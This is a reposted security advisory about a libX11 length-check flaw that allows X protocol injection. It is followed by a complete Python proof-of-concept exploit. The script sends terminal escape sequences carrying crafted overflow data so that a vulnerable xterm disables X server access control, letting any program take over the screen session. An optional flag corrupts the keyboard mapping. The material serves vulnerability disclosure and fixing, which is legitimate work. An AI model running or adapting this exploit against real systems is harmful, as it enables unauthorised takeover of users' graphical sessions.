Tuesday, May 25, 2021

libX11 Insufficient Length Check / Injection

Hello list,

A missing length check in libX11 causes data from LookupColor
requests mess up the client-server communication protocol and
inject malicious X server requests. The flaw is comparable to
SQLi injecting commands into database connections granting an
attacker access to all features of the connection protocol.

Even with the flaw being embedded in the C-API/library, it can
be easily demonstrated with a simple PoC run in xterm [1]. On
most terminals the PoC will only produce a nice, blue background
while with appropriate libX11 and xterm the same PoC disables
X server authorization, thus allowing any program to connect
to the X server and take over the screen session. For details
on exploitation see [2].


The flaw is also interesting in two more ways:

1) for xterm the flaw can be easily detected using fuzzing. So
I assume that a) nobody else fuzzed xterm yet, even being that
old (less likely) or b) that the flaw was deemed a mere DoS
(interruption of X communication) but as it did not involve a
buffer overflow, was not seen exploitable or otherwise worth
reporting. Even I myself stumbled over it it already years ago
but then again forgot about it until doing some testing around
other recent rxvt/xterm flaws (CVE-2021-27135).

2) from archeological perspective it would have been interesting
to prove and not only assume, since when the bug was really exploitable.
At least the code seems to date back quite some time to 1986.
But even not from distant past, finding sufficient online resources
from that era to revive an ancient system and run an X environment
was not yet possible. If it happens that someone still has access
to full system backups of an X server system of that time I would
be happy to try to turn this into an emulator image and test
the exploit.

[1] https://unparalleled.eu/blog/2021/20210518-using-xterm-to-navigate-the-huge-color-space/enjoy-all-the-colors.py
[2] https://unparalleled.eu/blog/2021/20210518-using-xterm-to-navigate-the-huge-color-space/


--------------------------------------
enjoy-all-the-colors.py:

#!/usr/bin/python3 -BbbEIsSttW all
# This software is provided by the copyright owner "as is"
# and WITHOUT ANY EXPRESSED OR IMPLIED WARRANTIES, including,
# but not limited to, the implied warranties of merchantability
# and fitness for a particular purpose are disclaimed. In no
# event shall the copyright owner be liable for any direct,
# indirect, incidential, special, exemplary or consequential
# damages, including, but not limited to, procurement of substitute
# goods or services, loss of use, data or profits or business
# interruption, however caused and on any theory of liability,
# whether in contract, strict liability, or tort, including
# negligence or otherwise, arising in any way out of the use
# of this software, even if advised of the possibility of such
# damage.
#
# Copyright (c) 2021 Unparalleled IT Services e.U.
#
# The software is only provided for reference to ease understanding
# and fixing of an underlying security issue in xterm/libx11.
# Therefore it may NOT be distributed freely while the security
# issue is not fixed and patched software is available widely.
# After that phase permission to use, copy, modify, and distribute
# this software according to GNU Lesser General Public License
# (LGPL-3.0) purpose is hereby granted, provided that the above
# copyright notice and this permission notice appear in all
# copies.
#
# This program demonstrates X client/server loss of synchronization
# due to a large color lookup request.
#
# See https://unparalleled.eu/blog/2021/20210518-using-xterm-to-navigate-the-huge-color-space/
# for more information.

import sys
import time

# Set to true to inject an alternative (nonfunctional) keymap
# too. NEVER ENABLE THIS AS IT WOULD RENDER YOU KEYBOARD UNUSABLE.
# If done accidentially, try to run "setxkbmap -layout [yourlayout]"
# to fix it.
messupKeymapFlag = False

def buildQueryTextExtents(frameCnt):
data = bytearray(b'T'*(frameCnt<<2))
data[0] = 48
data[1] = 0x20
data[2] = (len(data)>>2) & 0xff
data[3] = (len(data)>>10) & 0xff
return bytes(data)

def buildChangeKeyboardMappingPacket(keyCount, symsPerKey):
data = bytearray(b' ' *(4*(2+keyCount*symsPerKey)))
data[0] = 100
data[1] = keyCount
data[2] = (len(data)>>2) & 0xff
data[3] = (len(data)>>10) & 0xff
# First key.
data[4] = 0x20
data[5] = symsPerKey
return bytes(data)

# Just display the blue color because it is so nice.
sys.stdout.buffer.write(
b'\x07\x1b]11;#006f00005858\x07Check "xhost" afterwards ...')
sys.stdout.buffer.flush()
time.sleep(2)

# Use an invalid color name so that xterm does not react with
# an immediate out-of-fram AllocColor.
overflowData = buildQueryTextExtents(0x7072) + buildQueryTextExtents(0x6f6a)
if messupKeymapFlag:
overflowData += buildChangeKeyboardMappingPacket(121, 68)
else:
overflowData += buildQueryTextExtents(0x2026)
# Shorten the name lookup overflow data. This will cause the
# last command to consume also 8 bytes from the next frame.
overflowData = overflowData[0:(1<<18)]

# Add the terminal control sequence for the color lookup, the
# overflow data for the color lookup and another terminal sequence
# to set the background color. The color value translates to
# a valid SetAccessControl packet frame.
data = \
b'\x1b]12;grxxnZZZ' + overflowData + b'\x07\x1b]11;#006f00015858\x07'
sys.stdout.buffer.write(data)
sys.stdout.buffer.flush()
time.sleep(10)
 

Copyright © 2020 Cyber Details - Vulnerability Database™

Thanks for everything Templateism - You should have written the code a little more complicated